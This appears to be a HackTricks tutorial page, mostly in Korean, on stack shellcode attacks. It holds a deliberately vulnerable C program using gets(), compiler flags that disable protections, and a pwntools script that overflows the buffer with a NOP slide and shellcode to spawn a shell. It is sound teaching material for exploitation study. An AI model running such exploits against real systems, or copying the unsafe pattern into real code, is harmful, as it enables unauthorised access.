# Stack Shellcode {{#include ../../../banners/hacktricks-training.md}} ## Basic Information **스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터 (IP)** 또는 **확장 명령 포인터 (EIP)**를 이 셸코드의 위치를 가리키도록 수정하여 실행되도록 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다. ### C Example: A Vulnerable Program Let's start with a simple example of a vulnerable C program: ```c #include #include void vulnerable_function() { char buffer[64]; gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { vulnerable_function(); printf("Returned safely\n"); return 0; } ``` 이 프로그램은 `gets()` 함수를 사용하여 버퍼 오버플로우에 취약합니다. ### 컴파일 이 프로그램을 다양한 보호 기능을 비활성화하여 컴파일하려면 (취약한 환경을 시뮬레이션하기 위해) 다음 명령어를 사용할 수 있습니다: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: 스택 보호를 비활성화합니다. - `-z execstack`: 스택을 실행 가능하게 만들어, 스택에 저장된 shellcode를 실행하는 데 필요합니다. - `-no-pie`: 위치 독립 실행 파일을 비활성화하여, 우리의 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다. - `-m32`: 프로그램을 32비트 실행 파일로 컴파일하여, 익스플로잇 개발의 단순성을 위해 자주 사용됩니다. ### Python Exploit using Pwntools 여기 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 Python 익스플로잇을 작성하는 방법이 있습니다: ```python from pwn import * # Set up the process and context binary_path = './vulnerable' p = process(binary_path) context.binary = binary_path context.arch = 'i386' # Specify the architecture # Generate the shellcode shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell # Find the offset to EIP offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash # Prepare the payload # The NOP slide helps to ensure that the execution flow hits the shellcode. nop_slide = asm('nop') * (offset - len(shellcode)) payload = nop_slide + shellcode payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide # Send the payload p.sendline(payload) p.interactive() ``` 이 스크립트는 **NOP 슬라이드**, **쉘코드**로 구성된 페이로드를 생성한 다음, **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어써서 쉘코드가 실행되도록 합니다. **NOP 슬라이드**(`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. `p32()` 인수를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 도달하도록 합니다. ## 보호 조치 - [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **은 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. - [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/index.html)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라가지 않을 것입니다. - [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 해당 영역은 실행 가능하지 않기 때문입니다. ## 기타 예제 및 참조 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - 32비트, 스택 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - 32비트, 스택 leak가 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값을 덮어쓰고 쉘코드를 작성하고 점프하기 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프하기 {{#include ../../../banners/hacktricks-training.md}}